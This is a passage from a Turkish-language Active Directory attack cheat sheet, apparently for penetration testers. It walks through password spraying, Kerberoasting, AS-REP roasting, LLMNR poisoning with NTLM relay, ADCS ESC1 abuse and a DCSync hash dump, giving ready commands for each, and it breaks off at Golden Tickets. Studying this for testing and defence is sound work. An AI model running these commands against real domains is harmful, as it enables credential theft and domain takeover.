Active Directory Saldırı Zinciri (Kill Chain) Haritası
Aşağıdaki adımlar, tipik bir AD saldırısının aşamalarını ve her aşamada kullanılan araçları göstermektedir.
1. Faz: Keşif ve Enumerasyon (Reconnaissance)
Bu aşama, düşmanı tanımak için yapılan ilk harekattır. Hedef domain hakkında mümkün olduğunca çok bilgi toplanır.Kullanılan Araçlar: NetExec, BloodHound, Kerbrute
- Temel Domain Bilgileri: Kullanıcılar, gruplar, bilgisayarlar ve domain politikalarını öğrenmek için NetExec kullanılır .
# Domain kullanıcılarını listele
netexec smb <DC_IP> -u 'kullanici_adiniz' -p 'sifreniz' --users
# Domain admin gruplarını listele
netexec smb <DC_IP> -u 'kullanici_adiniz' -p 'sifreniz' --groups
# Domain parola politikasını öğren (kilitlenmeyi önlemek için çok önemli)
netexec smb <DC_IP> -u 'kullanici_adiniz' -p 'sifreniz' --pass-pol - BloodHound ile Saldırı Yolu Haritası Çıkarma: Bu, AD güvenlik testlerinin en önemli adımlarından biridir. SharpHound veya bloodhound-python ile toplanan veriler, BloodHound arayüzünde görselleştirilir ve en kısa yetki yükseltme yollarını gösterir .
# Linux'tan veri toplama
bloodhound-python -u 'kullanici_adiniz' -p 'sifreniz' -d <domain_adi> -ns <DC_IP> -c all --zip
# Windows'tan veri toplama (SharpHound)
.\SharpHound.exe -c All --zipfilename bloodhound.zip - Zafiyetli Hesapları Bulma: Kerbrute ile zayıf parolalara karşı "Parola Sıkma" (Password Spraying) saldırısı yapılabilir .
# tek bir parolayı bir kullanıcı listesine karşı dene
kerbrute passwordspray -d <domain_adi> --dc <DC_IP> kullanici_listesi.txt 'Mevsim2024!'
2. Faz: Saldırı Vektörü (Attack Vectors)
Toplanan bilgiler ışığında, yetki yükseltmek için kullanılabilecek zafiyetler tespit edilir ve saldırı başlatılır.A. Kerberos Saldırıları (Araçlar:
- Kerberoasting: Servis hesaplarına ait Kerberos biletlerinin (TGS) istenerek kırılmasıdır. Bu biletlerin parolası genellikle zayıftır .
# Impacket ile TGS biletlerini iste
impacket-GetUserSPNs '<domain>/<kullanici>:<sifre>' -dc-ip <DC_IP> -request -outputfile kerberoast.txt
# Rubeus ile (Windows)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt /format:hashcat
# Hashcat ile kır (mod 13100)
hashcat -m 13100 kerberoast.txt rockyou.txt - AS-REP Roasting: Kerberos ön kimlik doğrulaması (pre-authentication) olmayan hesapların hash'lerinin doğrudan alınarak kırılmasıdır .
# Impacket ile
impacket-GetNPUsers '<domain>/' -usersfile kullanici_listesi.txt -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt
# Hashcat ile kır (mod 18200)
hashcat -m 18200 asrep.txt rockyou.txt
B. NTLM Relay ve Hash Yakalama (Araçlar:
Ağdaki LLMNR/NBT-NS gibi protokoller zehirlenerek (poisoning) kullanıcıların NTLM hash'leri yakalanır ve başka bir servise (örneğin LDAP, SMB) iletilerek yetki yükseltilir .# Responder ile ağda hash yakalamaya başla
sudo responder -I eth0 -wrf
# Yakalanan hash'i başka bir hedefe ilet (ntlmrelayx)
sudo impacket-ntlmrelayx -tf hedef_listesi.txt -smb2support
C. Yetki Yükseltme Yolları (Araçlar:
- BloodHound ile ACL Yolu Bulma: BloodHound, bir kullanıcının hangi gruplar veya bilgisayarlar üzerinde GenericAll, WriteDacl gibi kritik yetkilere sahip olduğunu gösterir .
- ADCS Saldırıları (Araç: Certipy): Active Directory Certificate Services (ADCS) üzerindeki yanlış yapılandırmalar (ESC1, ESC8 gibi) domain admin yetkisine kadar giden yollar açabilir .
# Zafiyetli şablonları bul
certipy find -u '<kullanici>@<domain>' -p 'sifre' -dc-ip <DC_IP> -vulnerable -stdout
# ESC1 örneği: Domain Admin kullanıcısıymış gibi sertifika iste
certipy req -u '<kullanici>@<domain>' -p 'sifre' -target <CA_Sunucusu> -ca <CA_Adi> -template <Zafiyetli_Şablon> -upn administrator@<domain>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
3. Faz: Domain Hakimiyeti (Domain Dominance)
Yetki yükseltme başarılı olduğunda, artık Domain Admin veya Enterprise Admin yetkisine sahipsiniz demektir. Bu aşamada yapılabilecek iki klasik hareket vardır.- DCSync Saldırısı (Araç: Impacket, Mimikatz): Domain Controller'dan (DC) tüm kullanıcıların NTLM hash'lerini çalarak domainin tam kontrolünü ele geçirirsiniz .
# Impacket ile
impacket-secretsdump '<domain>/<domain_admin_kullanici>:<sifre>@<DC_IP>' -just-dc
# Mimikatz ile
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt - Altın Bilet (Golden Ticket) Saldırısı (Araç: Mimikatz, Impacket): DCSync ile ele geçirilen krbtgt hesabının NTLM hash'i kullanılarak, domain üzerinde sınırsız yetkiye sahip sahte bir Kerberos bileti (TGT) oluşturulu